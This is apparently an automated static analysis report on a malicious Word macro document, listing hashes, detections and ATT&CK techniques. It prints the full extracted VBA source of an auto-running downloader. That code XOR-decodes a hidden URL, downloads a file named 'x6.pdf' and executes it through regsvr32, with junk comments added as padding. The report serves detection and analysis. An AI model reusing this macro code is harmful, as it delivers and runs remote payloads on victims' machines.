Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2944b86f0e8507b0…

MALICIOUS

Office (OOXML)

115.6 KB Created: 2020-07-24 08:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 69a6579b0cbc5f5060d2bf58be3e7459 SHA-1: a46fa9b8702fedc685f4a31a70dda7dc7f488950 SHA-256: 2944b86f0e8507b03e06b2a3313fbddd856007afb492bd956ede07dde526648b
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script utilizes URLDownloadToFile to download a file named 'x6.pdf' from an embedded URL, and then executes it using WshShell.run. This indicates a downloader functionality, aiming to fetch and run a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ht As LongPtr, ByVal ov As String, ByVal Ge As String, ByVal xR As LongPtr, ByVal Rd As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
wt = fI(n)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3761 bytes
SHA-256: 539b77e6fe173724670e6a0b5fa53e8a9f94badd61e62b30b0b0fb902f23cf5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uW"
Public Const wx As String = "x6.pdf"
Function fI(qi)
a = d(qi)
For pT = 0 To UBound(a)
 Lq = Lq & Chr(a(pT) Xor 111)
Next pT
fI = Lq
End Function
Sub autoopen()
wt = fI(n)

' Yr defensive expects
' Whole vatican rye janus showing nimble ro
' Orgy manufacture tingling
frm.download wt, wx

' Antique palisades tornado
' Subject machinery braces
' Toxic doubt

' Spending foggy siena
' Bikes camps surgery casino
' Alpha lateral drastic serbia samples
' Suspension ist

' Croatia bundle
' Saucer parent asking dissuade
' Shed regulations font
' Esperanto accumulating loaded singer

' Brescia moving candidates skylight vegetarian
' Interesting problems pastime

' Worldliness singapore
' Filling sanctify livestock
' Focal sagacious
' Chances technologies digest
Dim NN As New WshShell

' Gauge brokers
' Lamps sardinia utilize scowl restriction husk
Call NN.run(Q & fY & " " + wx)

' Seminar spleen edgar gypsy
' Infest studious ware pali tiffany soak sets
' Except reporters jocular
' Perplexing
' Patients smash regular
End Sub

Attribute VB_Name = "uW1"
Function y(Ml)

' Sie
' Chosen latin grape
' Newer smilies
' Humans mid
' Backing coast ottawa underground
End Function
Sub dA(LG)

' Alligator
' Seditious medicaid
' Consistency vsnet
' Kingdom debatable duffer taciturnity

' Scene sentences salubrious analyze open-mouthed stylus
' Screens counties hearings

' Staccato heidi rarefied many
' Duo

' Cleanse added television talks churn
' Maintaining vanguard

' Outlet hebrides uranus motor champagne
' Shipment
' Excessive effective
' Amount as agreement betting

' Adventuress
' Abjure ground bestial shadows ozone libraries
' Influx affable restore
' Plastered murder arthritis retail f

' Nomination
' Intrinsic hygienic

' Bestiality launched
' Briefly implicit eco ralph framed comparable

' Moral illegally un pollution stops worshipping
' Gibe hottentot session nixon arson
' Pigeon mutilation carnage ark. rend acrid

' Reliance worldliness cosmopolitan targets
' Zulus

' Municipal threadbare
' Far remedies
' Con- albert cole
' Explanation bluish ada
' Cabal bee apache pussy wend
' Phosphate sark
' Quicksilver

' Designation tool
' Pos exec
' Placard bergen
End Sub

Attribute VB_Name = "TS"
Public Const Q As String = "reg"
Public Const fY As String = "svr32"
Public Const n As String = "7_27_27_31_85_64_64_9_8_87_7_91_86_94_92_2_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_94_95_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ht As LongPtr, ByVal ov As String, ByVal Ge As String, ByVal xR As LongPtr, ByVal Rd As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal ht As Long, ByVal ov As String, ByVal Ge As String, ByVal xR As Long, ByVal Rd As Long) As Long
#End If
Function d(rk)
d = Split(rk, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{0B121898-C691-4DEF-A48E-79C97F41A91A}{EB383E4E-3AC1-490D-B3AF-3E131F11CB20}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 0677af0cd7326e1f519e6cecb9917295d840da673f03ac191e35b97c0287840a

Open this report in the interactive analyzer, or submit your own file for analysis.